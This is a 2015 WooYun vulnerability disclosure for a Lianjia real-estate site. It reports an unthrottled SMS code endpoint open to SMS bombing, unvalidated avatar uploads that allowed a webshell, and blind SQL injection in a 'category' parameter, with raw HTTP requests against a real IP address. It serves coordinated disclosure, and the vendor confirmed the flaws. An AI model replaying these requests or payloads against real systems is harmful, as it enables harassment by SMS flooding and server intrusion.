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缺陷编号:wooyun-2015-0123140

漏洞标题:链家地产某站点短信接口可变轰炸机+getshell+sql

相关厂商:homelink.com.cn

漏洞作者: 默之

提交时间:2015-06-28 12:14

修复时间:2015-08-12 15:36

公开时间:2015-08-12 15:36

漏洞类型:网络设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-06-28: 细节已通知厂商并且等待厂商处理中
2015-06-28: 厂商已经确认,细节仅向厂商公开
2015-07-08: 细节向核心白帽子及相关领域专家公开
2015-07-18: 细节向普通白帽子公开
2015-07-28: 细节向实习白帽子公开
2015-08-12: 细节向公众公开

简要描述:

依然是问题,建议把这个系统先做好内部测试在上台吧

详细说明:

#1 短信接口变身轰炸机
在大牛申请这个界面:http://119.254.70.121/bull/toBullAuthentication.html

lj10.png


没有对发送数量和时间限制,导致短信轰炸,连续发送了十几下,几秒钟全倒了

POST /user/sendPhoneCodeAction.html HTTP/1.1
Host: 119.254.70.121
Proxy-Connection: keep-alive
Content-Length: 17
Accept: text/html, */*; q=0.01
Origin: http://119.254.70.121
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 LBBROWSER
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://119.254.70.121/bull/toBullAuthentication.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: phone=; password=; JSESSIONID=3C0EDECBF920D01F7FA771F19EA0689F
phone=***********


1873043964.jpg


#2 上传漏洞
账号设置个人资料处:http://119.254.70.121/particulate/goPersonInfo.html
大牛申请:http://119.254.70.121/bull/toBullAuthentication.html
这两处都是对头像的上传,没有进行验证,直接shell
还是同上次那个一样将内网ip改成公网的

lj9.png


其他的就不测试了,都一样
#3 SQL注入
这个没有跑出来数据库,但是绝对存在注入

POST /classroom/selectCourse.html HTTP/1.1
Host: 119.254.70.121/classroom/selectCourse.html
Proxy-Connection: keep-alive
Content-Length: 202
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://119.254.70.121
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 LBBROWSER
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://119.254.70.121/classroom/classroom.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=9C7761AFA96E94C0283CF231DD7E54D0
pageNo=1&category=28%2C44%2C45%2C46%2C44%2C45%2C46%2C29%2C43%2C52%2C53%2C69%2C70%2C52%2C53%2C30%2C50%2C51%2C607%2C608%2C609%2C610%2C51%2C31%2C47%2C48%2C49%2C47%2C48%2C49'&sort=updateTime%3Adesc


category参数存在盲注,不过没有跑出来,不深入研究了

lj12.png

漏洞证明:

lj9.png

修复方案:

这个系统。。。没啥说的了,整改好了再上台吧

版权声明:转载请注明来源 默之@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-06-28 15:34

厂商回复:

谢谢对链家安全的关注

最新状态:

暂无